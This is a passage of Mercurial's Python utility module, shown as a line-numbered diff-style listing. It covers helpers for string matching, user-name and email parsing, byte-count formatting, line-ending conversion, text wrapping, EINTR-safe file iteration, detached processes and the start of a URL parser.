2180 ('literal', 'ABCDEFG', [False, False, True])
2182 """
2181 """
2183 if pattern.startswith('re:'):
2182 if pattern.startswith('re:'):
2184 pattern = pattern[3:]
2183 pattern = pattern[3:]
2185 try:
2184 try:
2186 flags = 0
2185 flags = 0
2187 if not casesensitive:
2186 if not casesensitive:
2188 flags = remod.I
2187 flags = remod.I
2189 regex = remod.compile(pattern, flags)
2188 regex = remod.compile(pattern, flags)
2190 except remod.error as e:
2189 except remod.error as e:
2191 raise error.ParseError(_('invalid regular expression: %s')
2190 raise error.ParseError(_('invalid regular expression: %s')
2192 % e)
2191 % e)
2193 return 're', pattern, regex.search
2192 return 're', pattern, regex.search
2194 elif pattern.startswith('literal:'):
2193 elif pattern.startswith('literal:'):
2195 pattern = pattern[8:]
2194 pattern = pattern[8:]
2196
2195
2197 match = pattern.__eq__
2196 match = pattern.__eq__
2198
2197
2199 if not casesensitive:
2198 if not casesensitive:
2200 ipat = encoding.lower(pattern)
2199 ipat = encoding.lower(pattern)
2201 match = lambda s: ipat == encoding.lower(s)
2200 match = lambda s: ipat == encoding.lower(s)
2202 return 'literal', pattern, match
2201 return 'literal', pattern, match
2203
2202
2204 def shortuser(user):
2203 def shortuser(user):
2205 """Return a short representation of a user name or email address."""
2204 """Return a short representation of a user name or email address."""
2206 f = user.find('@')
2205 f = user.find('@')
2207 if f >= 0:
2206 if f >= 0:
2208 user = user[:f]
2207 user = user[:f]
2209 f = user.find('<')
2208 f = user.find('<')
2210 if f >= 0:
2209 if f >= 0:
2211 user = user[f + 1:]
2210 user = user[f + 1:]
2212 f = user.find(' ')
2211 f = user.find(' ')
2213 if f >= 0:
2212 if f >= 0:
2214 user = user[:f]
2213 user = user[:f]
2215 f = user.find('.')
2214 f = user.find('.')
2216 if f >= 0:
2215 if f >= 0:
2217 user = user[:f]
2216 user = user[:f]
2218 return user
2217 return user
2219
2218
2220 def emailuser(user):
2219 def emailuser(user):
2221 """Return the user portion of an email address."""
2220 """Return the user portion of an email address."""
2222 f = user.find('@')
2221 f = user.find('@')
2223 if f >= 0:
2222 if f >= 0:
2224 user = user[:f]
2223 user = user[:f]
2225 f = user.find('<')
2224 f = user.find('<')
2226 if f >= 0:
2225 if f >= 0:
2227 user = user[f + 1:]
2226 user = user[f + 1:]
2228 return user
2227 return user
2229
2228
2230 def email(author):
2229 def email(author):
2231 '''get email of author.'''
2230 '''get email of author.'''
2232 r = author.find('>')
2231 r = author.find('>')
2233 if r == -1:
2232 if r == -1:
2234 r = None
2233 r = None
2235 return author[author.find('<') + 1:r]
2234 return author[author.find('<') + 1:r]
2236
2235
2237 def ellipsis(text, maxlength=400):
2236 def ellipsis(text, maxlength=400):
2238 """Trim string to at most maxlength (default: 400) columns in display."""
2237 """Trim string to at most maxlength (default: 400) columns in display."""
2239 return encoding.trim(text, maxlength, ellipsis='...')
2238 return encoding.trim(text, maxlength, ellipsis='...')
2240
2239
2241 def unitcountfn(*unittable):
2240 def unitcountfn(*unittable):
2242 '''return a function that renders a readable count of some quantity'''
2241 '''return a function that renders a readable count of some quantity'''
2243
2242
2244 def go(count):
2243 def go(count):
2245 for multiplier, divisor, format in unittable:
2244 for multiplier, divisor, format in unittable:
2246 if abs(count) >= divisor * multiplier:
2245 if abs(count) >= divisor * multiplier:
2247 return format % (count / float(divisor))
2246 return format % (count / float(divisor))
2248 return unittable[-1][2] % count
2247 return unittable[-1][2] % count
2249
2248
2250 return go
2249 return go
2251
2250
2252 def processlinerange(fromline, toline):
2251 def processlinerange(fromline, toline):
2253 """Check that linerange <fromline>:<toline> makes sense and return a
2252 """Check that linerange <fromline>:<toline> makes sense and return a
2254 0-based range.
2253 0-based range.
2255
2254
2256 >>> processlinerange(10, 20)
2255 >>> processlinerange(10, 20)
2257 (9, 20)
2256 (9, 20)
2258 >>> processlinerange(2, 1)
2257 >>> processlinerange(2, 1)
2259 Traceback (most recent call last):
2258 Traceback (most recent call last):
2260 ...
2259 ...
2261 ParseError: line range must be positive
2260 ParseError: line range must be positive
2262 >>> processlinerange(0, 5)
2261 >>> processlinerange(0, 5)
2263 Traceback (most recent call last):
2262 Traceback (most recent call last):
2264 ...
2263 ...
2265 ParseError: fromline must be strictly positive
2264 ParseError: fromline must be strictly positive
2266 """
2265 """
2267 if toline - fromline < 0:
2266 if toline - fromline < 0:
2268 raise error.ParseError(_("line range must be positive"))
2267 raise error.ParseError(_("line range must be positive"))
2269 if fromline < 1:
2268 if fromline < 1:
2270 raise error.ParseError(_("fromline must be strictly positive"))
2269 raise error.ParseError(_("fromline must be strictly positive"))
2271 return fromline - 1, toline
2270 return fromline - 1, toline
2272
2271
2273 bytecount = unitcountfn(
2272 bytecount = unitcountfn(
2274 (100, 1 << 30, _('%.0f GB')),
2273 (100, 1 << 30, _('%.0f GB')),
2275 (10, 1 << 30, _('%.1f GB')),
2274 (10, 1 << 30, _('%.1f GB')),
2276 (1, 1 << 30, _('%.2f GB')),
2275 (1, 1 << 30, _('%.2f GB')),
2277 (100, 1 << 20, _('%.0f MB')),
2276 (100, 1 << 20, _('%.0f MB')),
2278 (10, 1 << 20, _('%.1f MB')),
2277 (10, 1 << 20, _('%.1f MB')),
2279 (1, 1 << 20, _('%.2f MB')),
2278 (1, 1 << 20, _('%.2f MB')),
2280 (100, 1 << 10, _('%.0f KB')),
2279 (100, 1 << 10, _('%.0f KB')),
2281 (10, 1 << 10, _('%.1f KB')),
2280 (10, 1 << 10, _('%.1f KB')),
2282 (1, 1 << 10, _('%.2f KB')),
2281 (1, 1 << 10, _('%.2f KB')),
2283 (1, 1, _('%.0f bytes')),
2282 (1, 1, _('%.0f bytes')),
2284 )
2283 )
2285
2284
2286 # Matches a single EOL which can either be a CRLF where repeated CR
2285 # Matches a single EOL which can either be a CRLF where repeated CR
2287 # are removed or a LF. We do not care about old Macintosh files, so a
2286 # are removed or a LF. We do not care about old Macintosh files, so a
2288 # stray CR is an error.
2287 # stray CR is an error.
2289 _eolre = remod.compile(br'\r*\n')
2288 _eolre = remod.compile(br'\r*\n')
2290
2289
2291 def tolf(s):
2290 def tolf(s):
2292 return _eolre.sub('\n', s)
2291 return _eolre.sub('\n', s)
2293
2292
2294 def tocrlf(s):
2293 def tocrlf(s):
2295 return _eolre.sub('\r\n', s)
2294 return _eolre.sub('\r\n', s)
2296
2295
2297 if pycompat.oslinesep == '\r\n':
2296 if pycompat.oslinesep == '\r\n':
2298 tonativeeol = tocrlf
2297 tonativeeol = tocrlf
2299 fromnativeeol = tolf
2298 fromnativeeol = tolf
2300 else:
2299 else:
2301 tonativeeol = pycompat.identity
2300 tonativeeol = pycompat.identity
2302 fromnativeeol = pycompat.identity
2301 fromnativeeol = pycompat.identity
2303
2302
2304 def escapestr(s):
2303 def escapestr(s):
2305 # call underlying function of s.encode('string_escape') directly for
2304 # call underlying function of s.encode('string_escape') directly for
2306 # Python 3 compatibility
2305 # Python 3 compatibility
2307 return codecs.escape_encode(s)[0]
2306 return codecs.escape_encode(s)[0]
2308
2307
2309 def unescapestr(s):
2308 def unescapestr(s):
2310 return codecs.escape_decode(s)[0]
2309 return codecs.escape_decode(s)[0]
2311
2310
2312 def forcebytestr(obj):
2311 def forcebytestr(obj):
2313 """Portably format an arbitrary object (e.g. exception) into a byte
2312 """Portably format an arbitrary object (e.g. exception) into a byte
2314 string."""
2313 string."""
2315 try:
2314 try:
2316 return pycompat.bytestr(obj)
2315 return pycompat.bytestr(obj)
2317 except UnicodeEncodeError:
2316 except UnicodeEncodeError:
2318 # non-ascii string, may be lossy
2317 # non-ascii string, may be lossy
2319 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2318 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2320
2319
2321 def uirepr(s):
2320 def uirepr(s):
2322 # Avoid double backslash in Windows path repr()
2321 # Avoid double backslash in Windows path repr()
2323 return repr(s).replace('\\\\', '\\')
2322 return repr(s).replace('\\\\', '\\')
2324
2323
2325 # delay import of textwrap
2324 # delay import of textwrap
2326 def MBTextWrapper(**kwargs):
2325 def MBTextWrapper(**kwargs):
2327 class tw(textwrap.TextWrapper):
2326 class tw(textwrap.TextWrapper):
2328 """
2327 """
2329 Extend TextWrapper for width-awareness.
2328 Extend TextWrapper for width-awareness.
2330
2329
2331 Neither number of 'bytes' in any encoding nor 'characters' is
2330 Neither number of 'bytes' in any encoding nor 'characters' is
2332 appropriate to calculate terminal columns for specified string.
2331 appropriate to calculate terminal columns for specified string.
2333
2332
2334 Original TextWrapper implementation uses built-in 'len()' directly,
2333 Original TextWrapper implementation uses built-in 'len()' directly,
2335 so overriding is needed to use width information of each characters.
2334 so overriding is needed to use width information of each characters.
2336
2335
2337 In addition, characters classified into 'ambiguous' width are
2336 In addition, characters classified into 'ambiguous' width are
2338 treated as wide in East Asian area, but as narrow in other.
2337 treated as wide in East Asian area, but as narrow in other.
2339
2338
2340 This requires use decision to determine width of such characters.
2339 This requires use decision to determine width of such characters.
2341 """
2340 """
2342 def _cutdown(self, ucstr, space_left):
2341 def _cutdown(self, ucstr, space_left):
2343 l = 0
2342 l = 0
2344 colwidth = encoding.ucolwidth
2343 colwidth = encoding.ucolwidth
2345 for i in xrange(len(ucstr)):
2344 for i in xrange(len(ucstr)):
2346 l += colwidth(ucstr[i])
2345 l += colwidth(ucstr[i])
2347 if space_left < l:
2346 if space_left < l:
2348 return (ucstr[:i], ucstr[i:])
2347 return (ucstr[:i], ucstr[i:])
2349 return ucstr, ''
2348 return ucstr, ''
2350
2349
2351 # overriding of base class
2350 # overriding of base class
2352 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2351 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2353 space_left = max(width - cur_len, 1)
2352 space_left = max(width - cur_len, 1)
2354
2353
2355 if self.break_long_words:
2354 if self.break_long_words:
2356 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2355 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2357 cur_line.append(cut)
2356 cur_line.append(cut)
2358 reversed_chunks[-1] = res
2357 reversed_chunks[-1] = res
2359 elif not cur_line:
2358 elif not cur_line:
2360 cur_line.append(reversed_chunks.pop())
2359 cur_line.append(reversed_chunks.pop())
2361
2360
2362 # this overriding code is imported from TextWrapper of Python 2.6
2361 # this overriding code is imported from TextWrapper of Python 2.6
2363 # to calculate columns of string by 'encoding.ucolwidth()'
2362 # to calculate columns of string by 'encoding.ucolwidth()'
2364 def _wrap_chunks(self, chunks):
2363 def _wrap_chunks(self, chunks):
2365 colwidth = encoding.ucolwidth
2364 colwidth = encoding.ucolwidth
2366
2365
2367 lines = []
2366 lines = []
2368 if self.width <= 0:
2367 if self.width <= 0:
2369 raise ValueError("invalid width %r (must be > 0)" % self.width)
2368 raise ValueError("invalid width %r (must be > 0)" % self.width)
2370
2369
2371 # Arrange in reverse order so items can be efficiently popped
2370 # Arrange in reverse order so items can be efficiently popped
2372 # from a stack of chucks.
2371 # from a stack of chucks.
2373 chunks.reverse()
2372 chunks.reverse()
2374
2373
2375 while chunks:
2374 while chunks:
2376
2375
2377 # Start the list of chunks that will make up the current line.
2376 # Start the list of chunks that will make up the current line.
2378 # cur_len is just the length of all the chunks in cur_line.
2377 # cur_len is just the length of all the chunks in cur_line.
2379 cur_line = []
2378 cur_line = []
2380 cur_len = 0
2379 cur_len = 0
2381
2380
2382 # Figure out which static string will prefix this line.
2381 # Figure out which static string will prefix this line.
2383 if lines:
2382 if lines:
2384 indent = self.subsequent_indent
2383 indent = self.subsequent_indent
2385 else:
2384 else:
2386 indent = self.initial_indent
2385 indent = self.initial_indent
2387
2386
2388 # Maximum width for this line.
2387 # Maximum width for this line.
2389 width = self.width - len(indent)
2388 width = self.width - len(indent)
2390
2389
2391 # First chunk on line is whitespace -- drop it, unless this
2390 # First chunk on line is whitespace -- drop it, unless this
2392 # is the very beginning of the text (i.e. no lines started yet).
2391 # is the very beginning of the text (i.e. no lines started yet).
2393 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2392 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2394 del chunks[-1]
2393 del chunks[-1]
2395
2394
2396 while chunks:
2395 while chunks:
2397 l = colwidth(chunks[-1])
2396 l = colwidth(chunks[-1])
2398
2397
2399 # Can at least squeeze this chunk onto the current line.
2398 # Can at least squeeze this chunk onto the current line.
2400 if cur_len + l <= width:
2399 if cur_len + l <= width:
2401 cur_line.append(chunks.pop())
2400 cur_line.append(chunks.pop())
2402 cur_len += l
2401 cur_len += l
2403
2402
2404 # Nope, this line is full.
2403 # Nope, this line is full.
2405 else:
2404 else:
2406 break
2405 break
2407
2406
2408 # The current line is full, and the next chunk is too big to
2407 # The current line is full, and the next chunk is too big to
2409 # fit on *any* line (not just this one).
2408 # fit on *any* line (not just this one).
2410 if chunks and colwidth(chunks[-1]) > width:
2409 if chunks and colwidth(chunks[-1]) > width:
2411 self._handle_long_word(chunks, cur_line, cur_len, width)
2410 self._handle_long_word(chunks, cur_line, cur_len, width)
2412
2411
2413 # If the last chunk on this line is all whitespace, drop it.
2412 # If the last chunk on this line is all whitespace, drop it.
2414 if (self.drop_whitespace and
2413 if (self.drop_whitespace and
2415 cur_line and cur_line[-1].strip() == r''):
2414 cur_line and cur_line[-1].strip() == r''):
2416 del cur_line[-1]
2415 del cur_line[-1]
2417
2416
2418 # Convert current line back to a string and store it in list
2417 # Convert current line back to a string and store it in list
2419 # of all lines (return value).
2418 # of all lines (return value).
2420 if cur_line:
2419 if cur_line:
2421 lines.append(indent + r''.join(cur_line))
2420 lines.append(indent + r''.join(cur_line))
2422
2421
2423 return lines
2422 return lines
2424
2423
2425 global MBTextWrapper
2424 global MBTextWrapper
2426 MBTextWrapper = tw
2425 MBTextWrapper = tw
2427 return tw(**kwargs)
2426 return tw(**kwargs)
2428
2427
2429 def wrap(line, width, initindent='', hangindent=''):
2428 def wrap(line, width, initindent='', hangindent=''):
2430 maxindent = max(len(hangindent), len(initindent))
2429 maxindent = max(len(hangindent), len(initindent))
2431 if width <= maxindent:
2430 if width <= maxindent:
2432 # adjust for weird terminal size
2431 # adjust for weird terminal size
2433 width = max(78, maxindent + 1)
2432 width = max(78, maxindent + 1)
2434 line = line.decode(pycompat.sysstr(encoding.encoding),
2433 line = line.decode(pycompat.sysstr(encoding.encoding),
2435 pycompat.sysstr(encoding.encodingmode))
2434 pycompat.sysstr(encoding.encodingmode))
2436 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2435 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2437 pycompat.sysstr(encoding.encodingmode))
2436 pycompat.sysstr(encoding.encodingmode))
2438 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2437 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2439 pycompat.sysstr(encoding.encodingmode))
2438 pycompat.sysstr(encoding.encodingmode))
2440 wrapper = MBTextWrapper(width=width,
2439 wrapper = MBTextWrapper(width=width,
2441 initial_indent=initindent,
2440 initial_indent=initindent,
2442 subsequent_indent=hangindent)
2441 subsequent_indent=hangindent)
2443 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2442 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2444
2443
2445 if (pyplatform.python_implementation() == 'CPython' and
2444 if (pyplatform.python_implementation() == 'CPython' and
2446 sys.version_info < (3, 0)):
2445 sys.version_info < (3, 0)):
2447 # There is an issue in CPython that some IO methods do not handle EINTR
2446 # There is an issue in CPython that some IO methods do not handle EINTR
2448 # correctly. The following table shows what CPython version (and functions)
2447 # correctly. The following table shows what CPython version (and functions)
2449 # are affected (buggy: has the EINTR bug, okay: otherwise):
2448 # are affected (buggy: has the EINTR bug, okay: otherwise):
2450 #
2449 #
2451 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2450 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2452 # --------------------------------------------------
2451 # --------------------------------------------------
2453 # fp.__iter__ | buggy | buggy | okay
2452 # fp.__iter__ | buggy | buggy | okay
2454 # fp.read* | buggy | okay [1] | okay
2453 # fp.read* | buggy | okay [1] | okay
2455 #
2454 #
2456 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2455 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2457 #
2456 #
2458 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2457 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2459 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2458 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2460 #
2459 #
2461 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2460 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2462 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2461 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2463 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2462 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2464 # fp.__iter__ but not other fp.read* methods.
2463 # fp.__iter__ but not other fp.read* methods.
2465 #
2464 #
2466 # On modern systems like Linux, the "read" syscall cannot be interrupted
2465 # On modern systems like Linux, the "read" syscall cannot be interrupted
2467 # when reading "fast" files like on-disk files. So the EINTR issue only
2466 # when reading "fast" files like on-disk files. So the EINTR issue only
2468 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2467 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2469 # files approximately as "fast" files and use the fast (unsafe) code path,
2468 # files approximately as "fast" files and use the fast (unsafe) code path,
2470 # to minimize the performance impact.
2469 # to minimize the performance impact.
2471 if sys.version_info >= (2, 7, 4):
2470 if sys.version_info >= (2, 7, 4):
2472 # fp.readline deals with EINTR correctly, use it as a workaround.
2471 # fp.readline deals with EINTR correctly, use it as a workaround.
2473 def _safeiterfile(fp):
2472 def _safeiterfile(fp):
2474 return iter(fp.readline, '')
2473 return iter(fp.readline, '')
2475 else:
2474 else:
2476 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2475 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2477 # note: this may block longer than necessary because of bufsize.
2476 # note: this may block longer than necessary because of bufsize.
2478 def _safeiterfile(fp, bufsize=4096):
2477 def _safeiterfile(fp, bufsize=4096):
2479 fd = fp.fileno()
2478 fd = fp.fileno()
2480 line = ''
2479 line = ''
2481 while True:
2480 while True:
2482 try:
2481 try:
2483 buf = os.read(fd, bufsize)
2482 buf = os.read(fd, bufsize)
2484 except OSError as ex:
2483 except OSError as ex:
2485 # os.read only raises EINTR before any data is read
2484 # os.read only raises EINTR before any data is read
2486 if ex.errno == errno.EINTR:
2485 if ex.errno == errno.EINTR:
2487 continue
2486 continue
2488 else:
2487 else:
2489 raise
2488 raise
2490 line += buf
2489 line += buf
2491 if '\n' in buf:
2490 if '\n' in buf:
2492 splitted = line.splitlines(True)
2491 splitted = line.splitlines(True)
2493 line = ''
2492 line = ''
2494 for l in splitted:
2493 for l in splitted:
2495 if l[-1] == '\n':
2494 if l[-1] == '\n':
2496 yield l
2495 yield l
2497 else:
2496 else:
2498 line = l
2497 line = l
2499 if not buf:
2498 if not buf:
2500 break
2499 break
2501 if line:
2500 if line:
2502 yield line
2501 yield line
2503
2502
2504 def iterfile(fp):
2503 def iterfile(fp):
2505 fastpath = True
2504 fastpath = True
2506 if type(fp) is file:
2505 if type(fp) is file:
2507 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2506 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2508 if fastpath:
2507 if fastpath:
2509 return fp
2508 return fp
2510 else:
2509 else:
2511 return _safeiterfile(fp)
2510 return _safeiterfile(fp)
2512 else:
2511 else:
2513 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2512 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2514 def iterfile(fp):
2513 def iterfile(fp):
2515 return fp
2514 return fp
2516
2515
2517 def iterlines(iterator):
2516 def iterlines(iterator):
2518 for chunk in iterator:
2517 for chunk in iterator:
2519 for line in chunk.splitlines():
2518 for line in chunk.splitlines():
2520 yield line
2519 yield line
2521
2520
2522 def expandpath(path):
2521 def expandpath(path):
2523 return os.path.expanduser(os.path.expandvars(path))
2522 return os.path.expanduser(os.path.expandvars(path))
2524
2523
2525 def hgcmd():
2524 def hgcmd():
2526 """Return the command used to execute current hg
2525 """Return the command used to execute current hg
2527
2526
2528 This is different from hgexecutable() because on Windows we want
2527 This is different from hgexecutable() because on Windows we want
2529 to avoid things opening new shell windows like batch files, so we
2528 to avoid things opening new shell windows like batch files, so we
2530 get either the python call or current executable.
2529 get either the python call or current executable.
2531 """
2530 """
2532 if mainfrozen():
2531 if mainfrozen():
2533 if getattr(sys, 'frozen', None) == 'macosx_app':
2532 if getattr(sys, 'frozen', None) == 'macosx_app':
2534 # Env variable set by py2app
2533 # Env variable set by py2app
2535 return [encoding.environ['EXECUTABLEPATH']]
2534 return [encoding.environ['EXECUTABLEPATH']]
2536 else:
2535 else:
2537 return [pycompat.sysexecutable]
2536 return [pycompat.sysexecutable]
2538 return gethgcmd()
2537 return gethgcmd()
2539
2538
2540 def rundetached(args, condfn):
2539 def rundetached(args, condfn):
2541 """Execute the argument list in a detached process.
2540 """Execute the argument list in a detached process.
2542
2541
2543 condfn is a callable which is called repeatedly and should return
2542 condfn is a callable which is called repeatedly and should return
2544 True once the child process is known to have started successfully.
2543 True once the child process is known to have started successfully.
2545 At this point, the child process PID is returned. If the child
2544 At this point, the child process PID is returned. If the child
2546 process fails to start or finishes before condfn() evaluates to
2545 process fails to start or finishes before condfn() evaluates to
2547 True, return -1.
2546 True, return -1.
2548 """
2547 """
2549 # Windows case is easier because the child process is either
2548 # Windows case is easier because the child process is either
2550 # successfully starting and validating the condition or exiting
2549 # successfully starting and validating the condition or exiting
2551 # on failure. We just poll on its PID. On Unix, if the child
2550 # on failure. We just poll on its PID. On Unix, if the child
2552 # process fails to start, it will be left in a zombie state until
2551 # process fails to start, it will be left in a zombie state until
2553 # the parent wait on it, which we cannot do since we expect a long
2552 # the parent wait on it, which we cannot do since we expect a long
2554 # running process on success. Instead we listen for SIGCHLD telling
2553 # running process on success. Instead we listen for SIGCHLD telling
2555 # us our child process terminated.
2554 # us our child process terminated.
2556 terminated = set()
2555 terminated = set()
2557 def handler(signum, frame):
2556 def handler(signum, frame):
2558 terminated.add(os.wait())
2557 terminated.add(os.wait())
2559 prevhandler = None
2558 prevhandler = None
2560 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2559 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2561 if SIGCHLD is not None:
2560 if SIGCHLD is not None:
2562 prevhandler = signal.signal(SIGCHLD, handler)
2561 prevhandler = signal.signal(SIGCHLD, handler)
2563 try:
2562 try:
2564 pid = spawndetached(args)
2563 pid = spawndetached(args)
2565 while not condfn():
2564 while not condfn():
2566 if ((pid in terminated or not testpid(pid))
2565 if ((pid in terminated or not testpid(pid))
2567 and not condfn()):
2566 and not condfn()):
2568 return -1
2567 return -1
2569 time.sleep(0.1)
2568 time.sleep(0.1)
2570 return pid
2569 return pid
2571 finally:
2570 finally:
2572 if prevhandler is not None:
2571 if prevhandler is not None:
2573 signal.signal(signal.SIGCHLD, prevhandler)
2572 signal.signal(signal.SIGCHLD, prevhandler)
2574
2573
2575 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2574 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2576 """Return the result of interpolating items in the mapping into string s.
2575 """Return the result of interpolating items in the mapping into string s.
2577
2576
2578 prefix is a single character string, or a two character string with
2577 prefix is a single character string, or a two character string with
2579 a backslash as the first character if the prefix needs to be escaped in
2578 a backslash as the first character if the prefix needs to be escaped in
2580 a regular expression.
2579 a regular expression.
2581
2580
2582 fn is an optional function that will be applied to the replacement text
2581 fn is an optional function that will be applied to the replacement text
2583 just before replacement.
2582 just before replacement.
2584
2583
2585 escape_prefix is an optional flag that allows using doubled prefix for
2584 escape_prefix is an optional flag that allows using doubled prefix for
2586 its escaping.
2585 its escaping.
2587 """
2586 """
2588 fn = fn or (lambda s: s)
2587 fn = fn or (lambda s: s)
2589 patterns = '|'.join(mapping.keys())
2588 patterns = '|'.join(mapping.keys())
2590 if escape_prefix:
2589 if escape_prefix:
2591 patterns += '|' + prefix
2590 patterns += '|' + prefix
2592 if len(prefix) > 1:
2591 if len(prefix) > 1:
2593 prefix_char = prefix[1:]
2592 prefix_char = prefix[1:]
2594 else:
2593 else:
2595 prefix_char = prefix
2594 prefix_char = prefix
2596 mapping[prefix_char] = prefix_char
2595 mapping[prefix_char] = prefix_char
2597 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2596 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2598 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2597 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2599
2598
2600 def getport(port):
2599 def getport(port):
2601 """Return the port for a given network service.
2600 """Return the port for a given network service.
2602
2601
2603 If port is an integer, it's returned as is. If it's a string, it's
2602 If port is an integer, it's returned as is. If it's a string, it's
2604 looked up using socket.getservbyname(). If there's no matching
2603 looked up using socket.getservbyname(). If there's no matching
2605 service, error.Abort is raised.
2604 service, error.Abort is raised.
2606 """
2605 """
2607 try:
2606 try:
2608 return int(port)
2607 return int(port)
2609 except ValueError:
2608 except ValueError:
2610 pass
2609 pass
2611
2610
2612 try:
2611 try:
2613 return socket.getservbyname(port)
2612 return socket.getservbyname(port)
2614 except socket.error:
2613 except socket.error:
2615 raise Abort(_("no port number associated with service '%s'") % port)
2614 raise Abort(_("no port number associated with service '%s'") % port)
2616
2615
2617 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2616 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2618 '0': False, 'no': False, 'false': False, 'off': False,
2617 '0': False, 'no': False, 'false': False, 'off': False,
2619 'never': False}
2618 'never': False}
2620
2619
2621 def parsebool(s):
2620 def parsebool(s):
2622 """Parse s into a boolean.
2621 """Parse s into a boolean.
2623
2622
2624 If s is not a valid boolean, returns None.
2623 If s is not a valid boolean, returns None.
2625 """
2624 """
2626 return _booleans.get(s.lower(), None)
2625 return _booleans.get(s.lower(), None)
2627
2626
2628 _hextochr = dict((a + b, chr(int(a + b, 16)))
2627 _hextochr = dict((a + b, chr(int(a + b, 16)))
2629 for a in string.hexdigits for b in string.hexdigits)
2628 for a in string.hexdigits for b in string.hexdigits)
2630
2629
2631 class url(object):
2630 class url(object):
2632 r"""Reliable URL parser.
2631 r"""Reliable URL parser.
2633
2632
2634 This parses URLs and provides attributes for the following
2633 This parses URLs and provides attributes for the following
2635 components:
2634 components:
2636
2635
2637 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2636 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2638
2637
2639 Missing components are set to None. The only exception is
2638 Missing components are set to None. The only exception is
2640 fragment, which is set to '' if present but empty.
2639 fragment, which is set to '' if present but empty.
2641
2640
2642 If parsefragment is False, fragment is included in query. If
2641 If parsefragment is False, fragment is included in query. If
2643 parsequery is False, query is included in path. If both are
2642 parsequery is False, query is included in path. If both are
2644 False, both fragment and query are included in path.
2643 False, both fragment and query are included in path.
2645
2644
2646 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2645 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2647
2646
2648 Note that for backward compatibility reasons, bundle URLs do not
2647 Note that for backward compatibility reasons, bundle URLs do not
2649 take host names. That means 'bundle://../' has a path of '../'.
2648 take host names. That means 'bundle://../' has a path of '../'.
2650
2649
2651 Examples:
2650 Examples:
2652
2651
2653 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2652 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2654 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2653 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2655 >>> url('ssh://[::1]:2200//home/joe/repo')
2654 >>> url('ssh://[::1]:2200//home/joe/repo')
2656 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2655 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2657 >>> url('file:///home/joe/repo')
2656 >>> url('file:///home/joe/repo')
2658 <url scheme: 'file', path: '/home/joe/repo'>
2657 <url scheme: 'file', path: '/home/joe/repo'>
2659 >>> url('file:///c:/temp/foo/')
2658 >>> url('file:///c:/temp/foo/')
2660 <url scheme: 'file', path: 'c:/temp/foo/'>
2659 <url scheme: 'file', path: 'c:/temp/foo/'>
2661 >>> url('bundle:foo')
2660 >>> url('bundle:foo')
2662 <url scheme: 'bundle', path: 'foo'>
2661 <url scheme: 'bundle', path: 'foo'>
2663 >>> url('bundle://../foo')
2662 >>> url('bundle://../foo')
2664 <url scheme: 'bundle', path: '../foo'>
2663 <url scheme: 'bundle', path: '../foo'>
2665 >>> url(r'c:\foo\bar')
2664 >>> url(r'c:\foo\bar')
2666 <url path: 'c:\\foo\\bar'>
2665 <url path: 'c:\\foo\\bar'>
2667 >>> url(r'\\blah\blah\blah')
2666 >>> url(r'\\blah\blah\blah')
2668 <url path: '\\\\blah\\blah\\blah'>
2667 <url path: '\\\\blah\\blah\\blah'>
2669 >>> url(r'\\blah\blah\blah#baz')
2668 >>> url(r'\\blah\blah\blah#baz')
2670 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2669 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
